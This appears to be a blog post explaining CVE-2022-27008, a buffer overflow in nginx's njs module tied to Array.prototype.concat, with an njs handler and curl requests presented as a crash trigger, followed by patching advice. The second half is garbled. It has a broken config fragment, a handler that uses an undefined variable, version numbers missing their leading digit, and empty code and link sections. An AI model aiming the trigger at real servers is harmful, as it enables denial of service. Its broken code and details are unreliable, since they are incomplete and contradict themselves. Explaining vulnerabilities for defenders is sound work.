In March 2022, security researchers discovered a critical vulnerability in the njs JavaScript engine used by the popular nginx web server. This flaw is tracked as CVE-2022-27008. If you run nginx with the njs module enabled (for scripting with ngx_http_js_module or ngx_stream_js_module), this is a must-read.
This post explains the vulnerability in simple terms, with code snippets, exploit details, and links for deeper research. You’ll learn how a buffer overflow happens in njs due to a mistake when merging arrays (Array.prototype.concat) — potentially letting an attacker crash your server or run malicious code.
What is njs and Where Does It Run?
njs is a lightweight JavaScript interpreter embedded in nginx. It enables you to script HTTP requests and responses, handle authentication, or make custom plugins for nginx and similar products (like OpenResty).
Many production nginx setups enable ngx_http_js_module for custom logic. With njs, HTTP handlers can parse headers, cookies, or handle JSON without the need for external processes.
The Vulnerability: Buffer Overflow Due to Array.concat()
CVE-2022-27008 is a buffer overflow vulnerability. Why? Because when njs concatenates certain arrays, it *misunderstands the memory layout* (this is called *type confusion* in security terms).
As a result, JavaScript code running inside njs may unexpectedly write outside the designated memory region. That’s bad—attackers can crash nginx or, if they're clever, hijack server execution.
Technical Details
How does this actually happen? It’s all about "fast" vs "slow" arrays in njs's JavaScript implementation:
Fast array: a standard JS array with only sequential, numeric indexes (e.g., [1,2,3]).
- Slow array: a non-standard array, with holes or custom properties (e.g., [1, , 3] or extended with getter/setter).
When Array.prototype.concat() is called with a *slow* array and a *fast* array element, njs gets confused. This confusion means it copies data incorrectly, reading and writing beyond allocated buffer boundaries. This is a classic buffer overflow, and can lead to code execution.
Suppose you have the following JavaScript
var slowArr = [1, , 3]; // Slow array (has a hole)
var fastArrElem = [4]; // Fast array
var result = slowArr.concat(fastArrElem);
During this operation, njs will miscalculate how much memory to allocate or copy for slowArr, because it doesn't correctly handle the data structure difference. This error opens the door to memory corruption.
Exploit Walkthrough
Let’s look at how this could work in practice. Here’s a minimal snippet that could trigger the bug inside an nginx module:
njs code (serving as a server hook in ngx_http_js_module)
function handler(r) {
// Create a slow array (has a "hole")
let a = [1,,,4]; // Equivalent to [1, <empty>, <empty>, 4]
// Fast array element
let b = [5];
// Try to concatenate — this triggers the bug!
let res = a.concat(b);
r.return(200, "Concat done: " + res);
}
Relevant nginx config
location /testconcat {
js_content handler;
}
Running this request on a vulnerable version (njs <= .7.2) could crash nginx
curl http://localhost/testconcat
*Depending on heap layout, this may do nothing, crash nginx, or—if the stars align—let an attacker gain control over the server’s memory.*
`
load_module modules/ngx_http_js_module.so;
js_include /etc/nginx/concat_test.js;
listen 808;
location /crash {
}
}
function handler(r) {
let a = [1, , 3]; // slow array
r.return(200, "Concat Result: " + res);
}
Restart nginx.
4. Request /crash:
`
curl http://localhost:808/crash
Potential Outcome:
- nginx crashes (segfaults), and error logs may show a "buffer overflow" or "invalid memory reference".
Real-World Risk
- Remote code execution: In theory, an attacker could trigger this flaw to inject malicious JS code via crafted request, exploit the overflow, and run arbitrary code as the nginx user.
Denial of service: At the very least, a crash means loss of uptime for your website!
To exploit this, the attacker needs the ability to run custom JS code in njs—either by uploading files or exploiting a route that lets them control the script input.
Any nginx using ngx_http_js_module or ngx_stream_js_module with affected njs
Fixed in njs .7.3 and later.
Release Notes
Official Security Advisory:
nginx.org Security Advisories — CVE-2022-27008
Patch PR:
Github Pull Request — fix Array.prototype.concat buffer overflow
National Vulnerability Database:
`bash
# For Ubuntu/Debian (example)
Monitor logs for crashes in njs or nginx.
4. Apply nginx security best practices: Run as non-root, use SELinux/AppArmor, keep modules minimal.
Exclusive Takeaway and Developer Insights
This vulnerability is a good reminder of why “fast” versus “slow” array optimization tricks in JavaScript engines can be risky when not handled with care. Even if you're only allowing "benign" scripts in njs, a subtle bug like this may pop open your server to attackers.
It's also a lesson for module maintainers: *Always treat script input as potentially malicious, and keep your dependencies patched!*
Summary Table
| Vulnerability | CVE-2022-27008 |
|----------------------|-----------------------------------|
| Software | nginx njs <= .7.2 |
| Problem | Buffer Overflow in Array.concat |
| Attack Surface | njs code in HTTP/Stream modules |
| Risk | DoS / Remote Code Execution |
| Fix | Update to njs >= .7.3 |
Stay secure: patch early, and review which scripts are running on your nginx server.
*For more technical breakdowns, check these official resources:*
- njs GitHub - Buffer Overflow Fix PR
- Nginx njs release .7.3
- NVD: CVE-2022-27008
Timeline
Published on: 04/14/2022 15:15:00 UTC
Last modified on: 05/19/2022 20:15:00 UTC